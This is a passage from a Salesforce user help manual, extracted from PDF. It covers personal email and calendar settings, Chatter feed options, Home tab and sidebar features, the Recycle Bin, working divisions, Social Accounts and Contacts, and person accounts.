Click Your Name > Setup > Email > My Email Settings to alter email settings that apply to all outbound emails you send from within the application. You can change: How your name appears on outbound emails Your return email address Whether all individual outbound emails are blind carbon copied to your return address (not available if your organization has enabled sending compliance BCC emails) The signature that appears at the bottom of all individual outbound emails and can be added to mass email messages. Note: In Personal and Developer Editions, a Salesforce-specific tag line is added below your personal signature on all outbound emails.

See Also:
Sending Email

Editing Stay-in-Touch Settings


Available in: All Editions except for Database.com

To set your preferences for requesting contact information updates: Note: If your organization uses person accounts, person accounts are also affected by these settings. For more information, see What is a Person Account? on page 68. 1. Click Your Name > Setup > Email > My Stay-in-Touch Settings. 2. Choose Yes for Automatic Bcc to receive copies of your sent Stay-in-Touch emails. This option is only available if your organization has not enabled compliance BCC emails. 3. Enable the reminder if you would like to be prompted to send a Stay-in-Touch request whenever you save a new contact. 4. Enter a default subject for the email. 5. In the note area, enter a message to the recipient. 6. In the signature area, enter a signature with your contact information. 7. Use the merge fields area at the top of the page to display available merge field values, which you can copy and paste into the subject, note, or signature boxes as needed.

47

Personal Setup

Granting Access to Your Calendar

8. Click Save.

See Also:
Sending Stay-in-Touch Requests

Granting Access to Your Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can grant access to other users, personal and public groups, roles, or roles and subordinates to view your calendar. 1. 2. 3. 4. Click Your Name > Setup > My Personal Information > Calendar Sharing. Click Add to share your calendar with others. Use the arrows to add or remove users, roles, or groups to your calendar. In Calendar Access, specify how you want to share your calendar by selecting one of the following: Option Hide Details Description Others can see whether given times are available, but cannot see any other information about the nature of events in the calendar. Others can see whether given times are available, but cannot see details of events. Other users can insert events in the calendar. Others can see detailed information about events in the calendar. Others can see detailed information about events in the calendar and can insert events in the calendar. Others can see detailed information about events in the calendar, insert events in the calendar, and edit existing events in the calendar.

Hide Details and Add Events

Show Details Show Details and Add Events Full Access

5. Click Save. The available Calendar Access options vary depending on the organization-wide calendar sharing level set by your administrator. Only choices that make your calendar access less restrictive are available. Calendar sharing settings affect the visibility of items on a calendar, but do not give access to event detail pages.

48

Personal Setup

Setting Record Type Preferences

Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with a record are still visible to users above the activitys assignee in the role hierarchy.

See Also:
Accessing Activities

Setting Record Type Preferences


Available in: Enterprise, Unlimited, and Developer Editions

Set an option to automatically insert your default record type when creating new records. Using this setting, you can bypass the page prompting you to select a record type. If you have several different record types available to you, you may prefer to be prompted to select a record type every time you create a new record. 1. Click Your Name > Setup > My Personal Information > Record Type Selection. 2. Check any box to automatically select the default record type when creating records of that type. Any unchecked boxes indicate that you prefer to be prompted to select a record type. 3. Click Save. Note: The Record Type Selection option may not be available because your organization is not using record types or multiple record types are not available for a particular tab. Individual checkboxes are only offered when you have more than one record type available for a tab. If your organization uses person accounts, note that checking the Account box on this page causes one default record type selection for all types of accounts. It is not possible to set separate default record type selections for business accounts and person accounts. If you work with both types of accounts, leave the box blank.

See Also:
Managing Record Types

Scheduling Opportunity Update Reminders


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Once opportunity update reminders are enabled for your organization, any user who has direct reports can schedule them. To schedule an opportunity update reminder: 1. Click Your Name > Setup > Email > My Update Reminder. 2. Check Active if you want reminders to start after you save the settings.

49

Personal Setup

Scheduling Opportunity Update Reminders

3. Enter a name and address for the sender of the reminders. 4. Choose a recipients option. 5. Enter any other recipients in the CC field. Separate additional email addresses with a commas, semi-colons, spaces, or new lines. 6. Enter a subject and message to be included in the email reminders. 7. Select a schedule frequency. 8. Select Include Past Due Opportunities if you want to include all opportunities that are open but have a close date within the previous 90 days. 9. Choose a Close Date to include opportunities with dates within that range. 10. Select the fields to include in the email reminders. Field
Last Login Date # of Open Opportunities # Not Updated in Last 30 Days

Description Most recent login date of the opportunity owner Total number of opportunities in the report Total number of opportunities that have not been updated in 30 days Total of all opportunity amounts in report Total closed amount for all opportunities in report. If your organization uses multiple currencies, this amount is converted to the user's currency. If your organization uses advanced currency management, the conversion is done using dated exchange rates.

Open Opportunity Amount Total Closed Amount

Last Update Date

Most recent date the opportunity owner submitted a forecast. If your organization uses multiple currencies, this amount is converted to the user's currency. If your organization uses advanced currency management, the conversion is done using dated exchange rates.

Forecast Amount

From the forecast. See Forecast Fields on page 2622. If your organization uses multiple currencies, this amount will be converted to the user's currency using the standard conversion rate. This field is not available to organizations using customizable forecasting. For more information, see Do I Have Customizable Forecasting? on page 2624.

Best Case Amount

From the forecast. See Forecast Fields on page 2622. If your organization uses multiple currencies, this amount will be converted to the user's currency using the standard conversion rate.

50

Personal Setup

Checking for Desktop Client Updates

Field

Description This field is not available to organizations using customizable forecasting. For more information, see Do I Have Customizable Forecasting? on page 2624.

11. Click Save. When there are no records in an opportunity update reminder, Salesforce does not send an email. If no email is sent for three consecutive opportunity update reminders, the scheduled reminder is deactivated.

See Also:
Enabling Opportunity Update Reminders

Checking for Desktop Client Updates


Available in: All Editions except for Database.com

Desktop clients such as Connect for Outlook and Connect Offline integrate Salesforce with your PC. Follow these steps to see which desktop client versions are installed on your computer and download available updates: 1. 2. 3. 4. Navigate to Your Name > Setup > Desktop Integration > Check for Updates. From the table, review the names and version numbers of available desktop clients. If you are using Internet Explorer, click the correct desktop client and then click Install Now to install a client. If you are using another browser such as Mozilla Firefox, click Download Now to save the installer file to your computer. Then double-click the saved file to run the installer program.

Your administrator controls which desktop clients you are allowed to install. See Desktop Client Access Overview on page 552. Note that Connect Offline is the only client available with Developer Edition.

See Also:
Force.com Connect for Microsoft Outlook Overview Force.com Connect Offline Overview Force.com Connect for Microsoft Office Overview Force.com Connect for Lotus Notes Overview Viewing Client Update Alerts

51

Personal Setup

Customizing Activity Reminders

Customizing Activity Reminders


Available in: All Editions except for Database.com

When reminders are enabled for your organization, the default reminder settings are configured to open the reminder window and play a sound fifteen minutes before an event's start time, or at 8:00 am the day a task is due. Click Your Name > Setup > My Personal Information > Reminders to customize the following reminder settings to meet your needs. Setting
Trigger alert when reminder comes due

Description If enabled, open the reminder window when a reminder is due. If enabled, play a reminder sound when a reminder is due. If enabled, set a reminder on all new events. From the drop-down list, select how long before the event you want to be reminded of the upcoming event. You can disable the reminder or change the reminder time when editing the event. If enabled, set a reminder on all new tasks. From the drop-down list, select what time, on the day the task is due, you want to be reminded of the task. All tasks, including those created by workflow, will use this default. You can disable the reminder or change the reminder time when editing a task. If enabled, this option will sort reminders by due date first and then reminder.

Play a reminder sound By default, set reminder on Events to:

By default, set reminder on Tasks to:

Sort reminder window by due date

To test your settings, click Preview Reminder Alert. Note: If the preview popup does not display, ensure that you aren't blocking popups. For more information, see Why can't I view Salesforce popup windows such as lookup dialogs and the Help & Training window? on page 3821.

See Also:
Setting Reminders on Activities Editing Tasks Editing Events Using the Activity Reminder Window

52

My Chatter Settings

Automatically Following Records You Own

MY CHATTER SETTINGS
Automatically Following Records You Own
When you follow records you create, updates are sent to your Chatter feed when you or someone else changes a tracked field on those records. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.

User Permissions Needed To view a record: Read on the record

By default, you dont automatically follow the records you create. If you want to automatically follow the records you create, you must enable auto-follow in your Chatter Settings. 1. Click Your Name > Setup > My Chatter Settings > My Feeds. 2. Select Automatically follow records I create. 3. Click Save. Note: If the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't automatically follow the account. To automatically follow a record when someone else assigns you ownership, your administrator must enable the owner field on the object for feed tracking.

See Also:
Following People Following Records Feeds The People and Records You Auto-Follow Initially

53

Personal Setup

Enabling or Disabling Approval Request Posts

Enabling or Disabling Approval Request Posts


If your organization has Approvals in Chatter enabled, you can receive approval requests as posts in Chatter. Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.

User Permissions Needed To view a record: Read on the record

1. Click Your Name > Setup > My Chatter Settings > My Feeds. 2. Select Receive approval requests as private Chatter posts to receive approval requests in posts or deselect the option to stop receiving approval requests. By default, you automatically receive approval requests in posts when your administrator turns on Approvals in Chatter. 3. Click Save. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record.

Configuring Your Social Accounts and Contacts Settings


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't want to use. You can also turn off the Social Accounts and Contacts feature, if needed. 1. Click Your Name > Setup > My Social Accounts and Contacts > Settings. 2. Click Change your Social Accounts and Contacts settings. 3. Customize Social Accounts and Contacts so it works the way you want it to. Select the social networks that you want to use. Deselect any of the services that you don't want to use. Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this checkbox to turn the feature back on if you change your mind.

54

Home Tab

Home Tab Overview

4. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Accounts Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Contacts Social Accounts, Contacts, and Leads Overview Security and Privacy When Using Social Accounts and Contacts Using Social Leads

HOME TAB
Home Tab Overview
The available tabs and options in the Create New drop-down list vary according to which permissions you have and which Salesforce Edition you are using.

From the Home tab, you can view your calendar and tasks, and select tab and sidebar options to access other information. You can also search for information and view messages and custom links provided by your administrator. The tabs at the top of the page let you access different types of information. Tabs can be organized into groups called apps, which make it easy to switch between sets of tabs that relate to one another. In addition to the standard apps, such as Sales and Call Center, your administrator can create custom apps to define the tabs that you see. You can switch between apps by choosing from the Force.com app menu at the top of the page.

55

Home Tab

Changing Your Home Tab Dashboard

An alert banner may appear on the Home tab to let you know when updates are available for desktop clients such as Connect for Outlook and Connect Offline. For more information, see Viewing Client Update Alerts on page 63.

See Also:
Troubleshooting Login Issues Using Your Tasks and Calendar on the Home Page Search Overview Recycle Bin About the Sidebar Custom Links Messages and Alerts Recent Items What is an App?

Changing Your Home Tab Dashboard


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator can create customized Home tab pages that display customized components such as a dashboard snapshot or your company logo. If your Home tab contains a dashboard snapshot, you can change the dashboard settings. Click Customize Page in the Dashboard section of the Home tab if yours contains a dashboard. Use this page to select a different dashboard to display on the Home tab. Click Refresh to refresh the data in your dashboard. See Refreshing Dashboard Data on page 3257 for more information.

See Also:
Customizing Your Display

Using Your Tasks and Calendar on the Home Page


Available in: All Editions except Database.com

Note: The My Tasks and Calendar sections display on the Home page if they are included as components on your Home page layout. From the Home page, you can view, create, and edit tasks and events. If you have Salesforce for Outlook, Connect for Outlook or Connect for Lotus Notes installed, you may be able to sync your Outlook or Lotus Notes records with Salesforce so they display in the My Tasks and Calendar sections. In the My Tasks section, you can: Click New to create a task.

56

Home Tab

Using Your Tasks and Calendar on the Home Page

View a list of tasks assigned to you. Up to fifteen tasks can be displayed; to view all your tasks, click View More. identifies tasks that are part of a recurring series.

Choose a time frame from the drop-down list to change which tasks display. Assign unresolved emails to related records; to view all your unassigned emails, click My Unresolved Items. If your organization has enabled hover links for the My Tasks list, hover your mouse over the subject of a task to see the details of the task in an overlay. Alternatively, click the subject of a task to open the detail page of that task. Click X to close a task.

In the Calendar section, you can: Click New Event to create a new event. Click the Scheduled Meetings subtab to view a list of the events you have scheduled for the next seven days. This tab displays a maximum of 50 events per day. identifies events that are part of a recurring series.

identifies events with invitees. Multi-person events aren't available in Personal Edition. If your organization has enabled home page hover links for events, hover your mouse over the subject of an event to display the details of the event in an interactive overlay. Alternatively, click the subject of an event to open the detail page of that event. Click the Requested Meetings subtab to view meetings you have requested but not confirmed. This tab displays a maximum of 100 requested meetings. Click the subject of the meeting to open its detail page where you can cancel and reschedule the meeting. The Responses column shows the number of invitees that have responded to your meeting request. Once you confirm a meeting, it appears on the Scheduled Meetings subtab. If the Requested Meetings subtab doesn't display, ask your Salesforce administrator to add it to the Calendar section. View a small calendar of the current month. To change which month displays, click and . Navigate to different views of your calendar and click the icons underneath the small monthly calendar as appropriate.

See Also:
Viewing Activities Requesting a Meeting Using Cloud Scheduler Setting Up Cloud Scheduler

57

Home Tab

Recycle Bin

Recycle Bin
Available in: All Editions except for Database.com

User Permissions Needed To view and recover your deleted records: To view and recover records deleted by other users: To recover deleted public tags: To purge the Recycle Bin: Read on the records in the Recycle Bin Modify All Data Tag Manager Modify All Data

The Recycle Bin link in the sidebar lets you view and restore recently deleted records for 15 days before they are permanently deleted. Your recycle bin record limit is 25 times the Megabytes (MBs) in your storage. For example, if your organization has 1 GB of storage then your limit is 25 times 1000 MB or 25,000 records. If your organization reaches its Recycle Bin limit, Salesforce automatically removes the oldest records if they have been in the Recycle Bin for at least two hours.

Viewing Items in the Recycle Bin


Choose My recycle bin from the drop-down list to view just the items you deleted. Administrators, and users with the Modify All Data permission, can choose All recycle bin to view all data that has been deleted for the entire organization. In Personal Edition, the All recycle bin option shows all of your deleted items.

Searching for Items in the Recycle Bin


1. Choose My recycle bin or All recycle bin from the drop-down list. Choosing My recycle bin searches for matches only in the items you deleted. 2. Enter your search terms. Search terms are treated as separate words with an implied AND between them. For example, searching for bob jones returns items with bob and jones together but not bob smith whose email address is bsmith@jones.com. An implied wildcard is appended to your search terms so searching for bob returns any bob or bobby. Searches look for matches in the field displayed in the Name column of the Recycle Bin such as lead Name, Case Number, Contract Number, or Product Name. Note: Some search features, including stemming and synonyms, are not available in the Recycle Bin search.

3. Click Search.

Restoring Items in the Recycle Bin


You can restore items by checking the box next to those items and clicking Undelete. To restore all deleted items, check the box in the column header and then click Undelete. When you undelete a record, Salesforce restores the record associations for the following types of relationships: Parent accounts (as specified in the Parent Account field on an account) Parent cases (as specified in the Parent Case field on a case) Master solutions for translated solutions (as specified in the Master Solution field on a solution)

58

Home Tab

Creating Records Using the Create New Drop-Down List

Managers of contacts (as specified in the Reports To field on a contact) Products related to assets (as specified in the Product field on an asset) Opportunities related to quotes (as specified in the Opportunity field on a quote) All custom lookup relationships Relationship group members on accounts and relationship groups, with some exceptions Tags An article's categories, publication state, and assignments Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different product prior to the original product record being undeleted, that asset-product relationship is not restored.

Purging the Recycle Bin


To permanently remove your deleted items prior to the 15 day period, administrators, and users with the Modify All Data permission, can click Empty your recycle bin or Empty your organizations recycle bin .

See Also:
Removing Members from Relationship Group Members Managing Articles and Translations

Creating Records Using the Create New Drop-Down List


The available options in the Create New drop-down list vary according to which permissions you have, which Salesforce Edition you are using, and which app you are using.

The Create New drop-down list, available in the sidebar, provides options to create new records. To create a new record using the drop-down list: 1. Select the type of record you want to create. The new record page immediately displays in the appropriate tab or the Upload a File dialog box displays if you selected File. 2. Fill in the fields. 3. Click Save or Upload to My Files if you selected File.

Using the Tags Sidebar Component


The Tags link and Recent Tags drop-down list, available in the sidebar, allow you to browse tags and access your most recently used tags, respectively. Click Tags to browse, search, and manage your entire tag collection.

59

Home Tab

About the Sidebar

Select a tag in the Recent Tags drop-down list to view all records that have been marked with that tag. The tags that appear in this list are those you have most recently used to tag records.

See Also:
Tags Overview Browsing, Searching, and Managing Tags Enabling Tags

About the Sidebar


Available in: All Editions except Database.com

The sidebar column that appears on the left side of most Salesforce pages provides convenient access to the following links and commands. Search Use the header search box, if you don't have sidebar search. The Tags link and Recent Tags drop-down list The Divisions drop-down list The Create New drop-down list A Calendar shortcut to your last used calendar view The Recent Items list Messages and Alerts Custom Links A shortcut to the Recycle Bin

The options in your sidebar may vary if your administrator has customized your home page layout. For more information, see Customizing Home Tab Page Layouts on page 1334. If your administrator has enabled the collapsible sidebar, you have the choice to show or hide the sidebar as needed. Click the edge of the sidebar or press ALT+S to open or close the sidebar as needed. Opening the sidebar using ALT+S automatically places your cursor in the Search box. Note: Call center users won't see incoming calls if they collapse the sidebar.

Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so you always have access to the Divisions drop-down list.

See Also:
Customizing Activity Settings

60

Home Tab

Messages and Alerts

Messages and Alerts


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The Messages and Alerts section of the Home tab sidebar displays announcements customized by your organization's administrator. The Messages and Alerts section is not available in Personal Edition.

See Also:
Customizing Home Tab Page Layouts About the Sidebar

Custom Links
Available in: All Editions except Database.com

This section appears on the Home tab depending on your customized home page layout. See Customizing Home Tab Page Layouts on page 1334. The Custom Links section of the Home tab contains links to websites or Salesforce pages that are useful for everyone in your organization. Your administrator sets which links display in this section.

See Also:
Customizing Home Tab Page Layouts About the Sidebar

Recent Items
Available in: All Editions

In the Recent Items section of the sidebar column, you see a short list of up to 10 specific accounts, campaigns, cases, contacts, contracts, documents, ideas, questions, leads, opportunities, quotes, orders, person accounts, solutions, users, or custom objects youve most recently added or viewed. To see the details of an item, click the name of the item. Tip: If your organization has enabled hover details, hover your mouse over any item in the Recent Items list to view key information about the record before clicking into that record's detail or edit page.

61

Home Tab

Changing Your Working Division

Note: Your Recent Items may show fewer than 10 items if you have recently deleted any of your recently viewed items. Likewise, the Recent lists on the tab home pages (for example, the Recent Leads list) may show fewer than 10 or 25 items if you have recently deleted items.

See Also:
About the Sidebar

Changing Your Working Division


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change your working division: To limit list views, searches, and reports by division: Affected by Divisions Affected by Divisions

If your administrator has enabled divisions, your organizations data will be segmented into different sections, making searches, reports, and list views more meaningful for you. For example, if you work in the North American division, you can create reports to show only records belonging to the European division. You can change the division in which you are working at any time. The data you see in search results includes records in your working division. To set your working division, simply select a division from the Divisions drop-down list in the sidebar. To search within multiple divisions at the same time, use advanced search, global search, or select --All-- from the Divisions drop-down list. To search within a division in a lookup dialog, select a division from the drop-down list in the lookup dialog window. Your results include records in the selected division. Note: All searches within a working division also include the global division. For example, if you search within a working division called Western Division, your results will include records found in both the Western Division and the global division. To report on records in a specific division, select a division from the Divisions drop-down list on the report. Select --Current-- to show records in your current working division. Reports that are already scoped (such as My Cases or My teams accounts) include records in all divisions, and you cannot further limit them to a specific division. To find records in a specific division in a list view, use the Divisions drop-down list when creating or editing the list view.

62

Home Tab

Viewing Client Update Alerts

Note: When you create new records, those records are not automatically assigned to your current working division. See Overview of Divisions on page 459 for more information.

See Also:
About Divisions Transferring Divisions Changing Your Default Division About the Sidebar

Viewing Client Update Alerts


Available in: Enterprise, Unlimited and Developer Editions

User Permissions Needed To view client update alerts: On, updates w/alerts OR On, must update w/alerts on your profile

Under the following conditions, an alert banner automatically appears across the Home tab when new versions of clients such as Connect for Outlook and Connect Offline are available. Your administrator has given you access to see the Home tab alerts. See Desktop Client Access Overview on page 552. In the past, you have successfully logged in from the client with your Salesforce username and password.

Click the alert banner to proceed to the Check for Updates page. Note the following: You can navigate to the Check for Updates page at any time to see which client versions are installed on your computer. After installing the update, the alert banner continues to appear across the Home tab until you log in through the newly updated client. Connect Offline is the only client available with Developer Edition.

See Also:
Desktop Client Access Overview Force.com Connect for Microsoft Outlook Overview Force.com Connect Offline Overview Force.com Connect for Microsoft Office Overview Force.com Connect for Lotus Notes Overview

63

Accounts

Accounts Overview

ACCOUNTS
Accounts Overview
Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

Accounts are your organization's customers, competitors, and partners. Each account stores information such as name, address, and phone numbers. For each account, you can store related information such as opportunities, activities, cases, partners, contracts, and notes. The Accounts tab displays a home page that lets you quickly create and locate all types of accounts, and also sort and filter your accounts using standard and custom list views. In addition, this tab lets you view and edit detailed information on each account to which you have access. You can also enhance your traditional account data with your customers social information. With the Social Accounts and Contacts feature, you can see your accounts social network profiles and other social datadirectly in Salesforce. Easy access to this information helps you know your customers better, so you can solve their problems and build stronger relationships. If your organization has been enabled with person accounts, you have two different kinds of accounts: business accounts and person accounts. Business accounts represent the other companies with which your organization does business. For business accounts, the individuals who work at those companies are represented by contacts. Person accounts represent the individual consumers with whom your company does business, such as a financial services client, an online shopper, or a vacation traveler. Depending on your organization's business model, you may use business accounts, person accounts, or both. If your organization has a partner portal, you can create partner accounts. Partner accounts are business accounts that a channel manager uses to manage partner organizations, partner users, and activities. Note: In the online help and other Salesforce documentation, the word account by itself always refers to both business accounts and person accounts. The terms business account and person account are used when there are differences between the two kinds of accounts.

See Also:
Accounts Home What is a Person Account? Social Accounts, Contacts, and Leads Overview Partner Portal Overview

64

Accounts

Social Accounts, Contacts, and Leads Overview

Social Accounts, Contacts, and Leads Overview


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

The Social Accounts and Contacts feature lets you view social network profiles and other social information for your accounts, contacts, and leads, directly in Salesforce. Easy access to this information provides your sales users with social sales intelligence that they can use to better meet existing and potential customers needs. The Social Accounts and Contacts feature is enabled by default for organizations created after the Spring 12 release. For existing organizations, the administrator must enable Social Accounts and Contacts. Note: In the online help and other Salesforce documentation, the word account by itself always refers to both business accounts and person accounts. The terms business account and person account are used when there are differences between the two kinds of accounts. You can see social information from several social networks. Social Network Facebook Information Displayed in Salesforce Supported Records

Facebook gives you a more personal view of your existing and potential Accounts customers and helps you find common interests. For contacts, leads, and Contacts person accounts, you can see profiles, status updates, and the number of mutual friends you share. For business accounts, you can view your customers Leads corporate social media presence, including their company profile and wall posts. Klout is a third-party service that analyzes people's influence across social Accounts networks, including Twitter, Facebook, and LinkedIn. Use Klout to see Contacts your accounts', contacts', and leads' influence on social media, who they Leads influence, who influences them, and the topics they talk about. LinkedIn is useful for staying up to date on your contacts', leads', and person Contacts accounts' professional personas. You can see profile photos, current titles Leads and companies, and locations. Person Accounts Twitter is a great way to see the public personas of your existing and Accounts potential customers and learn what's on their minds. You can see bios, recent Contacts tweets, and the people who are following and being followed by your Leads accounts, contacts, and leads.

Klout

LinkedIn

Twitter

65

Accounts

Social Accounts, Contacts, and Leads Overview

Social Network YouTube

Information Displayed in Salesforce

Supported Records

YouTube helps you find and view videos related to your accounts, contacts, Accounts and leads. Contacts Leads

Additional social networks may be available in future updates. Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public APIs to display social information in Salesforce. Because these social networks have the option of modifying or terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or any of its functionality, including access to the data that is currently provided or to any particular social network as a whole. To get started with Social Accounts and Contacts, simply sign in to your social network accounts from any account, contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing you to see external social profiles in Salesforce. Then youre ready to take your customer insights to the next level by linking your accounts, contacts, and leads social profiles to their Salesforce records. Once you link a profile to a record, that social data is available to you and everyone else in your organization, without having to log in to other sites. The details that each Salesforce user can see depends on their connection level with the account, contact, or lead, as well as the privacy settings for the profile. Regardless of how much detail is visible, the information that Salesforce displays is always current. Click the social network icons in the header on account, contact, and lead detail pages to display the Social Accounts and Contacts viewer. If no icons are visible, Social Accounts and Contacts is disabled for your organization. If a social network icon is missing, that service may be turned off. Contact your administrator if you'd like to use this feature or want access to a social network that isn't currently available.

See Also:
Security and Privacy When Using Social Accounts and Contacts Enabling and Configuring Social Accounts and Contacts Using Social Accounts Security and Privacy When Using Social Accounts and Contacts Enabling and Configuring Social Accounts and Contacts Using Social Contacts Security and Privacy When Using Social Accounts and Contacts Enabling and Configuring Social Accounts and Contacts Using Social Leads

66

Accounts

Social Accounts, Contacts, and Leads Overview

Security and Privacy When Using Social Accounts and Contacts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions Contacts available in: All Editions except Database.com Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Social Accounts and Contacts is secure and private. Here's an overview of its security and privacy features: Salesforce uses the trusted OAuth protocol when you sign in to your Facebook, LinkedIn, or Twitter accounts, so your login credentials aren't exposed to Salesforce. Salesforce doesn't import or store social information. Each time you select a contact's social profile or YouTube video, Salesforce retrieves the information directly from the corresponding social network and simply displays it. The information that you see is read-only and can't be modified. You can't import or store social data in Salesforce records. This ensures that you always see current details when viewing your accounts', contacts', and leads' social information. The details that are visible to you when you view a Facebook, LinkedIn, or Twitter profile are determined by the connection that you have with the account, contact, or lead, as well as privacy settings. Typically you see the same information as you would when viewing the profile while logged in directly to the social network. Some of your customers, however, may have privacy settings that restrict the visibility of some or all of their profile details outside the network. In those cases, you see very few, if any, profile details in Salesforce. Your view of a Facebook, LinkedIn, or Twitter profile is not shared with anyone else in your organization. Other Salesforce users must sign in to their own social network accounts to use Social Accounts and Contacts and the profile details that are visible depend on each user's connection level with the account, contact, or lead, as well as their privacy settings. None of your Facebook, LinkedIn, or Twitter profile information is stored in Salesforce, nor does Salesforce post anything about you or your activities to your social network accounts. Accounts, contacts, and leads aren't notified when you view their social network profiles using the Social Accounts and Contacts feature. Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public APIs to display social information in Salesforce. Because these social networks have the option of modifying or terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or any of its functionality, including access to the data that is currently provided or to any particular social network as a whole.

See Also:
Social Accounts, Contacts, and Leads Overview Using Social Accounts Social Accounts, Contacts, and Leads Overview Using Social Contacts Social Accounts, Contacts, and Leads Overview Using Social Leads

67

Accounts

What is a Person Account?

What is a Person Account?


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce. To quickly verify whether your organization uses person accounts, see if you have an option to select Person Account as the record type when you create a new account. To request person accounts, check with your administrator. A person account is an individual consumer with whom you do business, such as a financial services client, an online shopper, or a vacation traveler. Person accounts are applicable to organizations that operate on a business-to-consumer model as opposed to a business-to-business model. In a business-to-business model, there is a natural differentiation between the other businesses with whom you work and the people associated with those businesses. In Salesforce, that translates to accounts and contacts having different fields, features, and tabs. In a business-to-consumer model, because you are providing products or services to people rather than companies or organizations, the distinction between accounts and contacts does not exist. Consequently, person accounts in Salesforce have a combination of fields from both accounts and contacts, and can be used as contacts in most situations that involve contacts. For example, business accounts do not have standard fields for email address and job title, but person accounts do. Also, person accounts can be associated with campaigns just like contacts, but business accounts cannot. For details on the contact-specific functionality that applies to person accounts, see Person Account Behaviors on page 72. The ability for person accounts to act like contacts is made possible by applying an account record type which has special properties. The default name of this record type is Person Account. Your administrator may have changed the name of this record type, and also may have created more account record types that have the same special properties. For more information on record types, see Managing Record Types on page 1300 and Changing the Record Type Field on page 118. Note: In the online help and other Salesforce documentation, the word account by itself always refers to both business accounts and person accounts. The terms business account and person account are used when there are differences between the two kinds of accounts.

See Also:
Person Account Behaviors Accounts Overview Contacts Overview Tip sheet: Using Person Accounts Implementation guide: Implementing Person Accounts Disabling and Deactivating Portal Users

68

Accounts

What is a Person Account?

Enabling Person Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable person accounts: Customize Application

Note: Person accounts are not enabled by default in Salesforce. To quickly verify whether your organization uses person accounts, see if you have an option to select Person Account as the record type when you create a new account. To request person accounts, check with your administrator. Before you begin, make sure to: Create at least one record type for accounts. Grant read permission on contacts for profiles that have read permission on accounts. Ensure that the contact sharing organization-wide default is set to Controlled by Parent.

Once you complete the preliminary steps, contact salesforce.com to enable person accounts and then: 1. Click Your Name > Setup > Customize > Accounts > Person Accounts. 2. Assign person account record types to profiles that require person accounts. Note: Person accounts count against both account and contact storage because the API considers each person account to consist of one account as well as one contact. Additional storage might be necessary when you implement person accounts, so you should review your storage usage. Enabling person accounts is permanent and cannot be reverted. If you are an existing customer, we recommend creating a sandbox to preview how person accounts will affect your organization.

See Also:
Implementation guide: Implementing Person Accounts What is a Person Account? Person Account Behaviors Creating Record Types Accounts Overview

69

Accounts

What is a Person Account?

Merge Fields for Person Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce. To quickly verify whether your organization uses person accounts, see if you have an option to select Person Account as the record type when you create a new account. To request person accounts, check with your administrator. Merge fields serve as placeholders for data that will be replaced with information from your records, user information, or company information. For example, you can place a merge field in an email template so that the greeting includes the recipients name rather than a generic Hello!. You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when you create email or mail merge templates. The list of available merge fields depends on the type of data that youre working with. This topic lists considerations for working with merge fields with person accounts. Both business account and person account fields are available as account merge fields. Account fields exclusive to person accounts, such as Birthdate, Email, and Title have Account.Person in their merge field names. For example, {!Account.PersonBirthdate}. If your organization uses person accounts, both business account and person account fields are available as account merge fields. Account fields exclusive to person accounts, such as Birthdate, Email, and Title have Account.Person in their merge field names. For example, {!Account.PersonBirthdate}. You can use the merge field {!Account.IsPersonAccount} to determine whether you are working with aperson account or a business account. Account fields that previously had unique names and labels may no longer be unique because some contact fields are displayed as part of the account object. These fields on the accounts page are identified by the person account icon ( Ensure that all custom account fields have field names and labels unique to your organization so that the merge field references the correct field. For more information, see What is a Person Account? on page 68. ).

Important: Ensure that all custom fields under account have unique field names and labels so that the merge field references the correct field.

See Also:
Merge Fields Overview Validation Rules for Person Accounts What is a Person Account?

70

Accounts

What is a Person Account?

Validation Rules for Person Accounts


Business accounts available in: All Editions except Database.com Person accounts available in: Enterprise, Unlimited, and Developer Editions

